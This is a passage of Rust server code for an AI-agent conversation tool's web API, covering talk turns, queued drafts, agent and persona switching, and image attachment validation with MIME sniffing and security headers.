5808 let Some(html) = ui.questions.panel_html(&id) else {
5809 return Err(ApiError::not_found(format!("question {id} has no panel")));
5810 };
5811 Ok(panel_response(
5812 "text/html; charset=utf-8",
5813 false,
5814 html.into_bytes(),
5815 ))
5816 })
5817 .await
5818}
5819
5820async fn question_asset(
5848 State(ui): State<Arc<Ui>>,
5849 Path((id, name)): Path<(String, String)>,
5850) -> ApiResult<Response> {
5851 if !crate::ask::valid_asset_name(&name) {
5854 return Err(ApiError::bad_request(format!(
5855 "`{name}` is not a usable asset name"
5856 )));
5857 }
5858 blocking(move || {
5859 let id = resolve_question(&ui.questions, &id)?;
5860 let asset = ui
5861 .questions
5862 .panel_asset(&id, &name)
5863 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5864 let Some(bytes) = asset else {
5865 return Err(ApiError::not_found(format!(
5866 "question {id} has no asset `{name}`"
5867 )));
5868 };
5869 Ok(panel_response(
5870 asset_content_type(&name),
5871 is_svg(&name),
5872 bytes,
5873 ))
5874 })
5875 .await
5876}
5877
5878fn asset_content_type(name: &str) -> &'static str {
5891 match extension(name).as_deref() {
5892 Some("png") => "image/png",
5893 Some("jpg" | "jpeg") => "image/jpeg",
5894 Some("gif") => "image/gif",
5895 Some("webp") => "image/webp",
5896 Some("svg") => "image/svg+xml",
5897 Some("css") => "text/css; charset=utf-8",
5898 Some("txt") => "text/plain; charset=utf-8",
5899 _ => "application/octet-stream",
5900 }
5901}
5902
5903fn is_svg(name: &str) -> bool {
5906 extension(name).as_deref() == Some("svg")
5907}
5908
5909fn extension(name: &str) -> Option<String> {
5911 name.rsplit_once('.')
5912 .map(|(_, ext)| ext.to_ascii_lowercase())
5913}
5914
5915fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5932 let mut res = (
5933 [
5934 (header::CONTENT_TYPE, content_type),
5935 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5936 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5937 (header::REFERRER_POLICY, "no-referrer"),
5938 ],
5939 body,
5940 )
5941 .into_response();
5942 if download {
5943 res.headers_mut().insert(
5944 header::CONTENT_DISPOSITION,
5945 HeaderValue::from_static("attachment"),
5946 );
5947 }
5948 res
5949}
5950
5951#[derive(Debug, Serialize)]
5957struct TalkView {
5958 #[serde(flatten)]
5959 talk: Talk,
5960 turn_bodies_md: Vec<Vec<md::Node>>,
5961 thinking: bool,
5969 context: talk::ContextUsage,
5973 operator_name: Option<String>,
5976 persona_name: Option<String>,
5978}
5979
5980impl TalkView {
5981 fn new(talk: Talk, thinking: bool) -> Self {
5984 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5985 Self::with_config(talk, thinking, cfg.as_ref())
5986 }
5987
5988 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5991 let context = talk::context_usage(&talk, cfg);
5992 let turn_bodies_md = talk
5993 .turns
5994 .iter()
5995 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5996 .collect();
5997 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
5998 let persona_name = persona::find(specs, &talk.persona)
5999 .filter(|p| !p.is_default())
6000 .map(|p| p.name);
6001 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6002 Self {
6003 turn_bodies_md,
6004 thinking,
6005 context,
6006 operator_name,
6007 persona_name,
6008 talk,
6009 }
6010 }
6011}
6012
6013#[derive(Debug, Serialize)]
6018struct TalkDetailView {
6019 #[serde(flatten)]
6020 view: TalkView,
6021 tasks: Vec<TaskView>,
6022 roster: Vec<RosterEntry>,
6025 personas: Vec<PersonaEntry>,
6028}
6029
6030#[derive(Debug, Serialize)]
6032struct PersonaEntry {
6033 id: String,
6034 name: String,
6035}
6036
6037#[derive(Debug, Serialize)]
6039struct RosterEntry {
6040 id: String,
6041 kind: AgentKind,
6042 runnable: bool,
6044}
6045
6046async fn talks_list(
6051 State(ui): State<Arc<Ui>>,
6052 Query(q): Query<ListQuery>,
6053) -> ApiResult<Json<Vec<TalkView>>> {
6054 blocking(move || {
6055 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6056 Ok(Json(
6057 ui.talks
6058 .list()
6059 .into_iter()
6060 .filter(|talk| q.contains(&talk.id))
6061 .map(|talk| {
6062 let thinking = ui.is_thinking(&talk.id);
6063 let cfg = configs
6064 .entry(talk.repo.clone())
6065 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6066 TalkView::with_config(talk, thinking, cfg.as_ref())
6067 })
6068 .collect(),
6069 ))
6070 })
6071 .await
6072}
6073
6074#[derive(Debug, Default, Deserialize)]
6079#[serde(default)]
6080struct NewTalk {
6081 agent: Option<String>,
6082 repo: Option<PathBuf>,
6083}
6084
6085async fn talk_post(
6088 State(ui): State<Arc<Ui>>,
6089 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6090) -> ApiResult<impl IntoResponse> {
6091 let body = match body {
6095 Ok(Json(body)) => body,
6096 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6097 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6098 };
6099 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6100 let cfg = config_for(&repo).await?;
6101 let view = blocking(move || {
6102 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6103 let thinking = ui.is_thinking(&talk.id);
6104 Ok(TalkView::new(talk, thinking))
6105 })
6106 .await?;
6107 Ok((StatusCode::CREATED, Json(view)))
6108}
6109
6110async fn talk_detail(
6112 State(ui): State<Arc<Ui>>,
6113 Path(id): Path<String>,
6114) -> ApiResult<Json<TalkDetailView>> {
6115 blocking(move || {
6116 let id = resolve_talk(&ui.talks, &id)?;
6117 let talk = ui.talks.get(&id)?;
6118 let thinking = ui.is_thinking(&talk.id);
6119 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6120 .into_iter()
6121 .map(TaskView::from)
6122 .collect();
6123 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6124 let roster = cfg
6125 .as_ref()
6126 .map(|cfg| {
6127 cfg.agents
6128 .iter()
6129 .map(|a| RosterEntry {
6130 id: a.id.clone(),
6131 kind: a.kind,
6132 runnable: agent::installed(a),
6133 })
6134 .collect()
6135 })
6136 .unwrap_or_default();
6137 let specs = cfg
6138 .as_ref()
6139 .map(|cfg| cfg.talk.personas.clone())
6140 .unwrap_or_default();
6141 let personas = persona::catalog(&specs)
6142 .into_iter()
6143 .map(|p| PersonaEntry {
6144 id: p.id,
6145 name: p.name,
6146 })
6147 .collect();
6148 Ok(Json(TalkDetailView {
6149 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6150 tasks,
6151 roster,
6152 personas,
6153 }))
6154 })
6155 .await
6156}
6157
6158#[derive(Debug, Default, Deserialize)]
6164#[serde(default, deny_unknown_fields)]
6165struct NewTalkTurn {
6166 text: String,
6167 attachments: Vec<String>,
6168}
6169
6170#[derive(Debug, Deserialize)]
6171#[serde(deny_unknown_fields)]
6172struct EditTalkPending {
6173 text: String,
6174 expected_text: String,
6175 expected_attachments: Vec<String>,
6176}
6177
6178#[derive(Debug, Deserialize)]
6179#[serde(deny_unknown_fields)]
6180struct ClearTalkPending {
6181 expected_text: String,
6182 expected_attachments: Vec<String>,
6183}
6184
6185async fn talk_say(
6197 State(ui): State<Arc<Ui>>,
6198 Path(id): Path<String>,
6199 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6200) -> ApiResult<(StatusCode, Json<TalkView>)> {
6201 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6202 if body.text.trim().is_empty() && body.attachments.is_empty() {
6203 return Err(ApiError::bad_request("say something"));
6204 }
6205
6206 let id = {
6207 let ui = Arc::clone(&ui);
6208 let asked = id.clone();
6209 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6210 };
6211 {
6215 let ui = Arc::clone(&ui);
6216 let id = id.clone();
6217 blocking(move || {
6218 let talk = ui.talks.get(&id)?;
6219 if !talk.status.open() {
6220 return Err(ApiError::conflict(format!(
6221 "talk {} is {} and takes no more turns",
6222 talk.short(),
6223 talk.status.as_str()
6224 )));
6225 }
6226 Ok(())
6227 })
6228 .await?;
6229 }
6230
6231 let attachments = {
6236 let ui = Arc::clone(&ui);
6237 let id = id.clone();
6238 let ids = body.attachments.clone();
6239 blocking(move || {
6240 ids.into_iter()
6241 .map(|att_id| {
6242 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6243 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6244 })
6245 })
6246 .collect::<ApiResult<Vec<talk::Attachment>>>()
6247 })
6248 .await?
6249 };
6250
6251 let start = {
6256 let ui = Arc::clone(&ui);
6257 let id = id.clone();
6258 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6259 };
6260 let turn_guard = match start {
6261 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6262 TalkTurnStart::Pending => {
6263 return Err(ApiError::conflict(
6264 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6265 ));
6266 }
6267 TalkTurnStart::Foreign => {
6268 return Err(ApiError::conflict(
6269 "a turn is already running in another process; try again when it has finished",
6270 ));
6271 }
6272 TalkTurnStart::Busy => {
6273 let (tx, rx) = tokio::sync::oneshot::channel();
6289 tokio::spawn({
6290 let ui = Arc::clone(&ui);
6291 let id = id.clone();
6292 let said = body.text.clone();
6293 async move {
6294 let written = blocking({
6295 let ui = Arc::clone(&ui);
6296 let id = id.clone();
6297 move || {
6298 let mut talk = ui.talks.get(&id)?;
6299 #[cfg(test)]
6304 if let Some(gate) = ui
6305 .busy_queue_gate
6306 .lock()
6307 .unwrap_or_else(PoisonError::into_inner)
6308 .take()
6309 {
6310 let _ = gate.reached.send(());
6311 let _ = gate.release.recv();
6312 }
6313 if let Err(error) =
6314 talk::queue(&mut talk, &ui.talks, &said, attachments)
6315 {
6316 if let Ok(fresh) = ui.talks.get(&id) {
6317 if !fresh.status.open() {
6318 return Err(ApiError::conflict(format!(
6319 "talk {} is {} and takes no more turns",
6320 fresh.short(),
6321 fresh.status.as_str()
6322 )));
6323 }
6324 }
6325 return Err(ApiError::from(error));
6326 }
6327 let claim = match ui.begin_queued_talk_turn(&id)? {
6338 Some(turn_guard) => {
6339 let (cfg, _) = Config::discover(&talk.repo, None)?;
6340 Some((talk.clone(), cfg, turn_guard))
6341 }
6342 None => None,
6343 };
6344 let thinking = ui.is_thinking(&id);
6345 Ok((TalkView::new(talk, thinking), claim))
6346 }
6347 })
6348 .await;
6349 let (view, reclaimed) = match written {
6350 Ok(pair) => pair,
6351 Err(e) => {
6352 let _ = tx.send(Err(e));
6357 return;
6358 }
6359 };
6360 let _ = tx.send(Ok(view));
6363 if let Some((talk, cfg, turn_guard)) = reclaimed {
6364 let talks = ui.talks.clone();
6365 drain_loop(talk, talks, cfg, id, turn_guard).await;
6366 }
6367 }
6368 });
6369 let view = rx
6370 .await
6371 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6372 return Ok((StatusCode::ACCEPTED, Json(view)));
6373 }
6374 };
6375
6376 let (talk, cfg) = {
6377 let ui = Arc::clone(&ui);
6378 let id = id.clone();
6379 blocking(move || {
6380 let talk = ui.talks.get(&id)?;
6381 let (cfg, _) = Config::discover(&talk.repo, None)?;
6382 Ok((talk, cfg))
6383 })
6384 .await?
6385 };
6386
6387 let talks = ui.talks.clone();
6388 let (tx, rx) = tokio::sync::oneshot::channel();
6403 tokio::spawn({
6404 let ui = Arc::clone(&ui);
6405 let talks = talks.clone();
6406 let id = id.clone();
6407 let said = body.text.clone();
6408 let mut talk = talk.clone();
6409 async move {
6410 let recorded = blocking({
6411 let talks = talks.clone();
6412 move || {
6413 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6414 if let Ok(fresh) = talks.get(&talk.id) {
6415 if !fresh.status.open() {
6416 return Err(ApiError::conflict(format!(
6417 "talk {} is {} and takes no more turns",
6418 fresh.short(),
6419 fresh.status.as_str()
6420 )));
6421 }
6422 }
6423 return Err(ApiError::from(error));
6424 }
6425 Ok((said.trim().to_owned(), talk))
6431 }
6432 })
6433 .await;
6434 let (text, mut talk) = match recorded {
6435 Ok(pair) => pair,
6436 Err(e) => {
6437 let _ = tx.send(Err(e));
6441 return;
6442 }
6443 };
6444 let queued = talk.clone();
6445 let thinking = ui.is_thinking(&id);
6446 let _ = tx.send(Ok((queued, thinking)));
6449
6450 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6451 tracing::warn!("talk {id} turn failed: {e:#}");
6455 }
6456 drain_loop(talk, talks, cfg, id, turn_guard).await;
6459 }
6460 });
6461
6462 let (queued, thinking) = rx
6463 .await
6464 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6465
6466 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6468}
6469
6470async fn talk_pending_resume(
6474 State(ui): State<Arc<Ui>>,
6475 Path(id): Path<String>,
6476) -> ApiResult<(StatusCode, Json<TalkView>)> {
6477 let id = {
6478 let ui = Arc::clone(&ui);
6479 let asked = id.clone();
6480 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6481 };
6482 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6483 return Err(ApiError::conflict(
6484 "a talk turn is already running; the queued draft will be handled by it",
6485 ));
6486 };
6487 let (talk, cfg) = {
6488 let ui = Arc::clone(&ui);
6489 let id = id.clone();
6490 blocking(move || {
6491 let talk = ui.talks.get(&id)?;
6492 if !talk.status.open() {
6493 return Err(ApiError::conflict(format!(
6494 "talk {} is {} and takes no more turns",
6495 talk.short(),
6496 talk.status.as_str()
6497 )));
6498 }
6499 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6500 return Err(ApiError::conflict("there is no queued draft to resume"));
6501 }
6502 let (cfg, _) = Config::discover(&talk.repo, None)?;
6503 Ok((talk, cfg))
6504 })
6505 .await?
6506 };
6507 let view = TalkView::new(talk.clone(), true);
6508 let talks = ui.talks.clone();
6509 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6510 Ok((StatusCode::ACCEPTED, Json(view)))
6511}
6512
6513async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6529 let live_set = Arc::clone(&turn.turns);
6530 let mut turn = Some(turn);
6538 loop {
6539 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6540 tracing::warn!("talk {id} lost its turn lease; not draining further");
6543 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6544 if let Some(turn) = turn.take() {
6545 turn.release(&mut live);
6546 }
6547 break;
6548 }
6549 let observed = live_set
6553 .lock()
6554 .unwrap_or_else(PoisonError::into_inner)
6555 .queued
6556 .get(&id)
6557 .copied()
6558 .unwrap_or(0);
6559 let drained = blocking({
6560 let talks = talks.clone();
6561 move || {
6562 let result = talk::drain(&mut talk, &talks);
6563 Ok((talk, result))
6564 }
6565 })
6566 .await;
6567 let (next_talk, result) = match drained {
6568 Ok(drained) => drained,
6569 Err(e) => {
6570 tracing::warn!(
6571 status = %e.status,
6572 message = %e.message,
6573 "talk {id} could not start queued-text drain"
6574 );
6575 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6576 turn.take()
6577 .expect("held for the whole loop until released here")
6578 .release(&mut live);
6579 break;
6580 }
6581 };
6582 talk = next_talk;
6583 let drained = match result {
6584 Ok(Some(drained)) => drained,
6585 Ok(None) => {
6586 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6587 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6588 continue;
6589 }
6590 turn.take()
6591 .expect("held for the whole loop until released here")
6592 .release(&mut live);
6593 break;
6594 }
6595 Err(e) => {
6596 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6597 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6598 turn.take()
6599 .expect("held for the whole loop until released here")
6600 .release(&mut live);
6601 break;
6602 }
6603 };
6604 let responded = match turn.as_ref() {
6605 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6606 None => Err(anyhow::anyhow!("the turn guard was released")),
6607 };
6608 if let Err(e) = responded {
6609 tracing::warn!("talk {id} turn failed: {e:#}");
6610 }
6611 }
6612}
6613
6614async fn talk_pending_clear(
6616 State(ui): State<Arc<Ui>>,
6617 Path(id): Path<String>,
6618 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6619) -> ApiResult<Json<TalkView>> {
6620 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6621 blocking(move || {
6622 let id = resolve_talk(&ui.talks, &id)?;
6623 let mut talk = ui.talks.get(&id)?;
6624 if !talk.status.open() {
6625 return Err(ApiError::conflict(format!(
6626 "talk {} is {} and takes no more turns",
6627 talk.short(),
6628 talk.status.as_str()
6629 )));
6630 }
6631 if !talk::clear_pending_if_matches(
6632 &mut talk,
6633 &ui.talks,
6634 &body.expected_text,
6635 &body.expected_attachments,
6636 )? {
6637 return Err(ApiError::conflict(
6638 "queued message changed; reload it before clearing",
6639 ));
6640 }
6641 let thinking = ui.is_thinking(&talk.id);
6642 Ok(Json(TalkView::new(talk, thinking)))
6643 })
6644 .await
6645}
6646
6647async fn talk_pending_edit(
6651 State(ui): State<Arc<Ui>>,
6652 Path(id): Path<String>,
6653 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6654) -> ApiResult<Json<TalkView>> {
6655 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6656 let (view, reclaimed) = blocking({
6657 let ui = Arc::clone(&ui);
6658 move || {
6659 let id = resolve_talk(&ui.talks, &id)?;
6660 let mut talk = ui.talks.get(&id)?;
6661 if !talk.status.open() {
6662 return Err(ApiError::conflict(format!(
6663 "talk {} is {} and takes no more turns",
6664 talk.short(),
6665 talk.status.as_str()
6666 )));
6667 }
6668 if !talk::edit_pending_text(
6669 &mut talk,
6670 &ui.talks,
6671 &body.text,
6672 &body.expected_text,
6673 &body.expected_attachments,
6674 )? {
6675 return Err(ApiError::conflict(
6676 "queued message changed; reload it before editing",
6677 ));
6678 }
6679 let claim = match ui.begin_queued_talk_turn(&id)? {
6680 Some(turn_guard) => {
6681 let (cfg, _) = Config::discover(&talk.repo, None)?;
6682 Some((talk.clone(), cfg, id.clone(), turn_guard))
6683 }
6684 None => None,
6685 };
6686 let thinking = ui.is_thinking(&id);
6687 Ok((TalkView::new(talk, thinking), claim))
6688 }
6689 })
6690 .await?;
6691 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6692 let talks = ui.talks.clone();
6693 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6694 }
6695 Ok(Json(view))
6696}
6697
6698#[derive(Debug, Deserialize)]
6700struct TalkAgent {
6701 agent: String,
6702}
6703
6704async fn talk_agent(
6709 State(ui): State<Arc<Ui>>,
6710 Path(id): Path<String>,
6711 Json(body): Json<TalkAgent>,
6712) -> ApiResult<Json<TalkView>> {
6713 let id = {
6714 let ui = Arc::clone(&ui);
6715 blocking(move || resolve_talk(&ui.talks, &id)).await?
6716 };
6717 let repo = {
6718 let ui = Arc::clone(&ui);
6719 let id = id.clone();
6720 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6721 };
6722 let cfg = config_for(&repo).await?;
6723 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6724 return Err(ApiError::conflict(
6725 "a talk turn is running; change the agent once it has answered",
6726 ));
6727 };
6728 let switched = {
6729 let ui = Arc::clone(&ui);
6730 let id = id.clone();
6731 let cfg = cfg.clone();
6732 blocking(move || {
6733 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6734 .map_err(ApiError::bad_request_from)?;
6735 let mut talk = ui.talks.get(&id)?;
6736 if !talk.status.open() {
6737 return Err(ApiError::conflict(format!(
6738 "talk {} is {} and takes no more turns",
6739 talk.short(),
6740 talk.status.as_str()
6741 )));
6742 }
6743 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6744 Ok(talk)
6745 })
6746 .await
6747 };
6748 let fresh = {
6753 let ui = Arc::clone(&ui);
6754 let id = id.clone();
6755 blocking(move || Ok(ui.talks.get(&id)?)).await
6756 };
6757 let draining = match fresh {
6758 Ok(talk) => {
6759 let draining = talk.status.open()
6760 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6761 let talks = ui.talks.clone();
6762 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6763 draining
6764 }
6765 Err(_) => false,
6766 };
6767 let talk = switched?;
6768 Ok(Json(TalkView::new(talk, draining)))
6769}
6770
6771#[derive(Debug, Deserialize)]
6773struct TalkPersona {
6774 persona: String,
6775}
6776
6777async fn talk_persona(
6781 State(ui): State<Arc<Ui>>,
6782 Path(id): Path<String>,
6783 Json(body): Json<TalkPersona>,
6784) -> ApiResult<Json<TalkView>> {
6785 let id = {
6786 let ui = Arc::clone(&ui);
6787 blocking(move || resolve_talk(&ui.talks, &id)).await?
6788 };
6789 let repo = {
6790 let ui = Arc::clone(&ui);
6791 let id = id.clone();
6792 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6793 };
6794 let cfg = config_for(&repo).await?;
6795 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6796 return Err(ApiError::conflict(
6797 "a talk turn is running; change the persona once it has answered",
6798 ));
6799 };
6800 let switched = {
6801 let ui = Arc::clone(&ui);
6802 let id = id.clone();
6803 let cfg = cfg.clone();
6804 blocking(move || {
6805 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6806 return Err(ApiError::bad_request(format!(
6807 "unknown persona `{}`",
6808 body.persona
6809 )));
6810 };
6811 let mut talk = ui.talks.get(&id)?;
6812 if !talk.status.open() {
6813 return Err(ApiError::conflict(format!(
6814 "talk {} is {} and takes no more turns",
6815 talk.short(),
6816 talk.status.as_str()
6817 )));
6818 }
6819 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6820 Ok(talk)
6821 })
6822 .await
6823 };
6824 let fresh = {
6826 let ui = Arc::clone(&ui);
6827 let id = id.clone();
6828 blocking(move || Ok(ui.talks.get(&id)?)).await
6829 };
6830 let draining = match fresh {
6831 Ok(talk) => {
6832 let draining = talk.status.open()
6833 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6834 let talks = ui.talks.clone();
6835 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6836 draining
6837 }
6838 Err(_) => false,
6839 };
6840 let talk = switched?;
6841 Ok(Json(TalkView::new(talk, draining)))
6842}
6843
6844async fn talk_close(
6846 State(ui): State<Arc<Ui>>,
6847 Path(id): Path<String>,
6848) -> ApiResult<Json<TalkView>> {
6849 blocking(move || {
6850 let id = resolve_talk(&ui.talks, &id)?;
6851 let mut talk = ui.talks.get(&id)?;
6852 talk::close(&mut talk, &ui.talks)?;
6853 let thinking = ui.is_thinking(&talk.id);
6854 Ok(Json(TalkView::new(talk, thinking)))
6855 })
6856 .await
6857}
6858
6859async fn talk_reopen(
6861 State(ui): State<Arc<Ui>>,
6862 Path(id): Path<String>,
6863) -> ApiResult<Json<TalkView>> {
6864 blocking(move || {
6865 let id = resolve_talk(&ui.talks, &id)?;
6866 let mut talk = ui.talks.get(&id)?;
6867 talk::reopen(&mut talk, &ui.talks)?;
6868 let thinking = ui.is_thinking(&talk.id);
6869 Ok(Json(TalkView::new(talk, thinking)))
6870 })
6871 .await
6872}
6873
6874async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6884 blocking(move || {
6885 let id = resolve_talk(&ui.talks, &id)?;
6886 ui.talks.remove(&id)?;
6887 Ok(StatusCode::NO_CONTENT)
6888 })
6889 .await
6890}
6891
6892fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6894 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6895}
6896
6897async fn talk_attachment_post(
6900 State(ui): State<Arc<Ui>>,
6901 Path(id): Path<String>,
6902 headers: HeaderMap,
6903 body: Bytes,
6904) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6905 let mime = validate_attachment(&headers, &body)?;
6906 let name = filename_header(&headers);
6907 let data = body.to_vec();
6908 blocking(move || {
6909 let id = resolve_talk(&ui.talks, &id)?;
6910 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6911 Ok((StatusCode::CREATED, Json(att)))
6912 })
6913 .await
6914}
6915
6916async fn talk_attachment_get(
6919 State(ui): State<Arc<Ui>>,
6920 Path((id, att)): Path<(String, String)>,
6921) -> ApiResult<Response> {
6922 blocking(move || {
6923 let id = resolve_talk(&ui.talks, &id)?;
6924 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6925 return Err(ApiError::not_found(format!(
6926 "talk {id} has no attachment `{att}`"
6927 )));
6928 };
6929 Ok(attachment_response(&meta.mime, data))
6930 })
6931 .await
6932}
6933
6934fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6945 if data.len() > ATTACHMENT_MAX_BYTES {
6946 return Err(ApiError::bad_request(format!(
6947 "attachment is {} bytes, over the {} MiB limit",
6948 data.len(),
6949 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6950 ))
6951 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6952 }
6953 if data.is_empty() {
6954 return Err(ApiError::bad_request("attachment is empty"));
6955 }
6956 let declared = declared_mime(headers)?;
6957 match sniffed_mime(data) {
6958 Some(sniffed) if sniffed == declared => Ok(declared),
6959 Some(sniffed) => Err(ApiError::bad_request(format!(
6960 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6961 ))),
6962 None => Err(ApiError::bad_request(
6963 "the file's bytes do not match any accepted image format",
6964 )),
6965 }
6966}
6967
6968fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6972 let raw = headers
6973 .get(header::CONTENT_TYPE)
6974 .and_then(|v| v.to_str().ok())
6975 .unwrap_or("")
6976 .split(';')
6977 .next()
6978 .unwrap_or("")
6979 .trim()
6980 .to_ascii_lowercase();
6981 ATTACHMENT_MIME_WHITELIST
6982 .iter()
6983 .find(|&&m| m == raw)
6984 .copied()
6985 .ok_or_else(|| {
6986 if raw == "image/svg+xml" {
6987 ApiError::bad_request(
6988 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6989 not just a picture",
6990 )
6991 } else if raw.is_empty() {
6992 ApiError::bad_request("Content-Type is required for an attachment upload")
6993 } else {
6994 ApiError::bad_request(format!(
6995 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6996 image/gif or image/webp"
6997 ))
6998 }
6999 })
7000}
7001
7002fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7005 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7006 Some("image/png")
7007 } else if data.starts_with(b"\xff\xd8\xff") {
7008 Some("image/jpeg")
7009 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7010 Some("image/gif")
7011 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7012 Some("image/webp")
7013 } else {
7014 None
7015 }
7016}
7017
7018fn filename_header(headers: &HeaderMap) -> String {
7024 headers
7025 .get(FILENAME_HEADER)
7026 .and_then(|v| v.to_str().ok())
7027 .map(str::trim)
7028 .filter(|s| !s.is_empty())
7029 .unwrap_or("attachment")
7030 .to_owned()
7031}
7032
7033fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7040 let content_type = ATTACHMENT_MIME_WHITELIST
7041 .iter()
7042 .find(|&&m| m == mime)
7043 .copied()
7044 .unwrap_or("application/octet-stream");
7045 (
7046 [
7047 (header::CONTENT_TYPE, content_type),
7048 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7049 ],
7050 body,
7051 )
7052 .into_response()
7053}
7054
7055async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7063 let repo = repo.to_path_buf();
7064 blocking(move || {
7065 let (cfg, _) = Config::discover(&repo, None)?;
7066 Ok(cfg)
7067 })
7068 .await
7069}
7070
7071fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7077 let mut hits = ids
7078 .into_iter()
7079 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7080 match (hits.next(), hits.next()) {
7081 (Some(one), None) => Ok(one),
7082 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7083 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7084 "`{prefix}` matches more than one {what}, including {a} and {b}"
7085 ))),
7086 }
7087}
7088
7089#[cfg(test)]
7090mod tests {
7091
7092 #[test]
7093 fn holder_reads_the_lease_not_the_record() {
7094 let mut q = Question::new(
7095 "run".to_owned(),
7096 "implement".to_owned(),
7097 "impl-A".to_owned(),
7098 "which?".to_owned(),
7099 String::new(),
7100 Vec::new(),
7101 );
7102 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7103 q.cwd = Some("/tmp".to_owned());
7104 assert_eq!(holder_of(&q, None), Some("nobody"));
7105 let beat = |kind, ago: i64| ask::Lease {
7106 kind,
7107 pid: 1,
7108 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7109 .unwrap(),
7110 };
7111 let fresh = beat(ask::WaiterKind::Asker, 1);
7112 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7113 let daemon = beat(ask::WaiterKind::Daemon, 1);
7114 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7115 let stale = beat(ask::WaiterKind::Asker, 3600);
